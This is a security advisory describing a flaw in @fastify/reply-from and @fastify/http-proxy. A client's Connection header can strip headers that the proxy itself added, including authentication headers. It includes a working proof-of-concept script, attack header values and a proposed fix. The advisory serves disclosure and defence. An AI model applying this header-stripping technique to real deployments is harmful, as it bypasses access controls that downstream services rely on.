@fastify/reply-from and @fastify/http-proxy process the client's Connection header after the proxy has added its own headers via rewriteRequestHeaders. This allows attackers to retroactively strip proxy-added headers (like access control or identification headers) from upstream requests by listing them in the Connection header value. This affects applications using these plugins with custom header injection for routing, access control, or security purposes.
The vulnerability exists in @fastify/reply-from/lib/request.js at lines 128-136 (HTTP/1.1 handler) and lines 191-200 (undici handler). The processing flow is:
connection header (@fastify/reply-from/index.js line 91)rewriteRequestHeaders (line 151)Connection header and strip any headers listed in itrewriteRequestHeaders, allowing clients to target proxy-added headers for removalRFC 7230 Section 6.1 Connection header processing is intended for proxies to strip hop-by-hop headers from incoming requests before adding their own headers. The current implementation reverses this order, processing the client's Connection header after the proxy has already modified the header set.
The call chain:
@fastify/reply-from/index.js line 91: headers = { ...req.headers } — copies ALL client headers including connectionindex.js line 151: requestHeaders = rewriteRequestHeaders(this.request, headers) — proxy adds custom headers (e.g., x-forwarded-by)index.js line 180: requestImpl({...headers: requestHeaders...}) — passes headers to transportrequest.js line 191 (undici): getConnectionHeaders(req.headers) — reads Connection header FROM THE CLIENTrequest.js lines 198-200: Strips headers listed in Connection — including proxy-added headersThis is distinct from the general hop-by-hop forwarding concern — it's specifically about the client controlling which headers get stripped from the upstream request via the Connection header, subverting the proxy's rewriteRequestHeaders function.
Self-contained reproduction with an upstream echo service and a proxy that adds a custom header:
const fastify = require('fastify');
async function test() {
// Upstream service that echoes headers
const upstream = fastify({ logger: false });
upstream.get('/api/echo-headers', async (request) => {
return { headers: request.headers };
});
await upstream.listen({ port: 19801 });
// Proxy that adds a custom header via rewriteRequestHeaders
const proxy = fastify({ logger: false });
await proxy.register(require('@fastify/reply-from'), {
base: 'http://localhost:19801'
});
proxy.get('/proxy/*', async (request, reply) => {
const target = '/' + (request.params['*'] || '');
return reply.from(target, {
rewriteRequestHeaders: (originalReq, headers) => {
return { ...headers, 'x-forwarded-by': 'fastify-proxy' };
}
});
});
await proxy.listen({ port: 19800 });
// Baseline: proxy adds x-forwarded-by header
const res1 = await proxy.inject({
method: 'GET',
url: '/proxy/api/echo-headers'
});
console.log('Baseline response headers from upstream:');
const body1 = JSON.parse(res1.body);
console.log(' x-forwarded-by:', body1.headers['x-forwarded-by'] || 'NOT PRESENT');
// Attack: Connection header strips the proxy-added header
const res2 = await proxy.inject({
method: 'GET',
url: '/proxy/api/echo-headers',
headers: { 'connection': 'x-forwarded-by' }
});
console.log('\nAttack response headers from upstream:');
const body2 = JSON.parse(res2.body);
console.log(' x-forwarded-by:', body2.headers['x-forwarded-by'] || 'NOT PRESENT (stripped!)');
await proxy.close();
await upstream.close();
}
test();
Actual output:
Baseline response headers from upstream:
x-forwarded-by: fastify-proxy
Attack response headers from upstream:
x-forwarded-by: NOT PRESENT (stripped!)
The x-forwarded-by header that the proxy explicitly added in rewriteRequestHeaders is stripped before reaching the upstream.
Multiple headers can be stripped at once by sending Connection: x-forwarded-by, x-forwarded-for.
Both the undici (default) and HTTP/1.1 transport handlers in @fastify/reply-from are affected, as well as @fastify/http-proxy which delegates to @fastify/reply-from.
Attackers can selectively remove any header added by the proxy's rewriteRequestHeaders function. This enables several attack scenarios:
x-internal-auth, x-proxy-token), attackers can strip them to access unauthorized resourcesConnection: authorization to strip authentication or Connection: x-forwarded-for, x-forwarded-by to remove multiple headers at onceThis vulnerability affects deployments where the proxy adds security-relevant headers that downstream services rely on for access control decisions. It undermines the security model where proxies act as trusted intermediaries adding authentication or routing signals.
@fastify/reply-from — All versions, both undici (default) and HTTP/1.1 transport handlers@fastify/http-proxy — All versions (delegates to @fastify/reply-from)rewriteRequestHeaders to add headers that could be security-relevantThe Connection header from the client should be processed and consumed before rewriteRequestHeaders is called, not after. Alternatively, the Connection header processing in request.js should maintain a list of headers that existed in the original client request and only strip those, not headers added by rewriteRequestHeaders.
{
"cwe_ids": [
"CWE-644"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T01:02:59Z",
"nvd_published_at": "2026-04-15T11:16:34Z",
"severity": "CRITICAL"
}